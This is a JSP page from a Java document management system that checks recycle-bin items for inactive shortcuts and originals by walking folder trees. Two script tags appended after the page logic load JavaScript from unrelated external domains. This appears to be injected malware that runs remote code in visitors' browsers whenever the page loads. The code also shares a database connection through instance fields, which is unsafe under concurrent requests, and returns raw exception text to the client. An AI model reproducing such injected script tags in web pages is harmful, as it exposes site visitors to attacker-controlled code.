<%@ page language="java" contentType="text/html; charset=utf-8"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%!
  private SessionContainer sessionContainer = null;
  private Connection conn = null;

  private List checkShortcut(String[] selectID) throws Exception{
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
    MtmDocumentRelationshipDAObject mtmDocumentRelationshipDAObject = new MtmDocumentRelationshipDAObject(sessionContainer, conn);

    List lstShortcutIds = new ArrayList();
    for(int i=0;i<selectID.length;i++){
      Integer docId = TextUtility.parseIntegerObj(selectID[i]);
      if (docId!=null) {
        List lstAllTreeId = this.getAllTreeNodeID(documentDAO, docId);
        LogFactory.getLog(this.getClass()).debug("checkShortcut:" + selectID[i] + "..." + "lstAllTreeId size:" + lstAllTreeId.size());
        for (int j=0;j<lstAllTreeId.size();j++){
          DmsDocument document = docRetrievalManager.getDocument((Integer)lstAllTreeId.get(j));
          if (!Utility.isEmpty(document) && DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
            List indirectRelationDocumentList = mtmDocumentRelationshipDAObject.getInactiveListByRelationID(document.getID(),DmsDocument.DOCUMENT_LINK,GlobalConstant.RECORD_STATUS_INACTIVE);
            if (indirectRelationDocumentList.size()>0) {
              MtmDocumentRelationship tmpMtmDocumentRelationship = (MtmDocumentRelationship)indirectRelationDocumentList.get(0);
              DmsDocument targetDocument = docRetrievalManager.getDocument(tmpMtmDocumentRelationship.getDocumentID());
              if (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDocument.getRecordStatus()) && targetDocument.getUpdaterID().equals(sessionContainer.getUserRecordID())){
                lstShortcutIds.add((Integer)lstAllTreeId.get(j));
              }
            }
          }
        }
      }
    }
    return lstShortcutIds;
  }

  private List checkOriginal(String[] selectID) throws Exception{
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
    DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
    MtmDocumentRelationshipDAObject mtmDocumentRelationshipDAObject = new MtmDocumentRelationshipDAObject(sessionContainer, conn);

    List lstOriginalIds = new ArrayList();
    for(int i=0;i<selectID.length;i++){
      Integer docId = TextUtility.parseIntegerObj(selectID[i]);
      if (docId!=null) {
        List lstAllTreeId = this.getAllTreeNodeID(documentDAO, docId);
        LogFactory.getLog(this.getClass()).debug("checkOriginal:" + selectID[i] + "..." + "lstAllTreeId size:" + lstAllTreeId.size());
        for (int k=0;k<lstAllTreeId.size();k++) {
          DmsDocument document = docRetrievalManager.getDocument((Integer)lstAllTreeId.get(k));
          if (!Utility.isEmpty(document) && !DmsDocument.DOCUMENT_LINK.equals(document.getDocumentType())){
            List relationshipList = mtmDocumentRelationshipDAObject.getInactiveListByID(document.getID(),DmsDocument.DOCUMENT_LINK,GlobalConstant.RECORD_STATUS_INACTIVE);
            if (!relationshipList.isEmpty()) {
              for (int j = 0 ; j < relationshipList.size(); j++ ) {
                MtmDocumentRelationship tmpRelationship = (MtmDocumentRelationship)relationshipList.get(j);
                if (DmsDocument.DOCUMENT_LINK.equals(tmpRelationship.getRelationshipType())) {
                  DmsDocument scDocument = docRetrievalManager.getActiveInactiveDoc(tmpRelationship.getRelatedDocumentID());
                  if (scDocument.getUpdaterID().equals(sessionContainer.getUserRecordID())) {
                    lstOriginalIds.add((Integer)lstAllTreeId.get(k));
                  }
                }
              }
            }
          }
        }
      }
    }

    return lstOriginalIds;
  }
  
  private List getAllTreeNodeID(DmsDocumentDAObject dmsDocumentDAO, Integer ParentId) throws Exception {
    List folderIdList = new ArrayList();
    folderIdList.add(ParentId);
    String[] fieldNames = new String[]{"D.ID", "D.DOCUMENT_TYPE"};
    String[] fieldTypes = new String[]{"Integer", "String"};
    String[] itemStatus = new String[]{DmsVersion.ARCHIVED_STATUS};
    String[] recordStatus = new String[]{GlobalConstant.RECORD_STATUS_INACTIVE};
    String orderBy = "D.DOCUMENT_TYPE, D.ID";
    folderIdList.addAll(this.getChildrenIdRecursive(dmsDocumentDAO, fieldNames, fieldTypes, ParentId, itemStatus, recordStatus, orderBy));
    return folderIdList;
  }

  private List getChildrenIdRecursive(
      DmsDocumentDAObject dmsDocumentDAO, 
      String[] fieldNames,
      String[] fieldTypes,
      Integer parentId,
      String[] itemStatus, 
      String[] recordStatus,
      String orderBy) throws Exception {
    List lstChildDocumentId = new ArrayList();
    List listFieldObject = dmsDocumentDAO.getFieldListByParentId(fieldNames, fieldTypes, parentId, itemStatus, false, recordStatus, true, null, null, null, orderBy);
    for (int i=0; i<listFieldObject.size(); i++) {
      Object[] fields = (Object[])listFieldObject.get(i);
      Integer documentId = (Integer)fields[0];
      String documentType = (String)fields[1];
      lstChildDocumentId.add(documentId);
      if (!DmsDocument.DOCUMENT_TYPE.equals(documentType)) {
        lstChildDocumentId.addAll(this.getChildrenIdRecursive(dmsDocumentDAO, fieldNames, fieldTypes, documentId, itemStatus, recordStatus, orderBy));
      }
    }
    return lstChildDocumentId;
  }
%>
<%
  String[] selectID = request.getParameterValues("selectID");
  String operationStr = request.getParameter("operationStr");
  if (selectID!=null) {
    try {
      this.sessionContainer = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
      this.conn =  DataSourceFactory.getConnection();

      String returnText = "";  
      if ("checkShortcut".equals(operationStr)){
        List lstCheckShortcut = this.checkShortcut(selectID);
        if (!lstCheckShortcut.isEmpty()) {
          returnText += "hasShortcut";
        }
      } else if ("checkOriginal".equals(operationStr)){
        List lstCheckOriginal = this.checkOriginal(selectID);
        if (!lstCheckOriginal.isEmpty()) {
          returnText += "hasOriginal";
        }
      }

      out.clear();
      out.print("RETIDS"+returnText);
      out.flush();

    }catch (Exception ex) {
      out.clear();
      out.print("ERROR"+ex);
      out.flush();
      LogFactory.getLog(this.getClass()).error(ex, ex);
    }finally {
      try {this.conn.close();}catch (Exception ex) {}finally {this.conn=null;}
      this.sessionContainer = null;
    }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>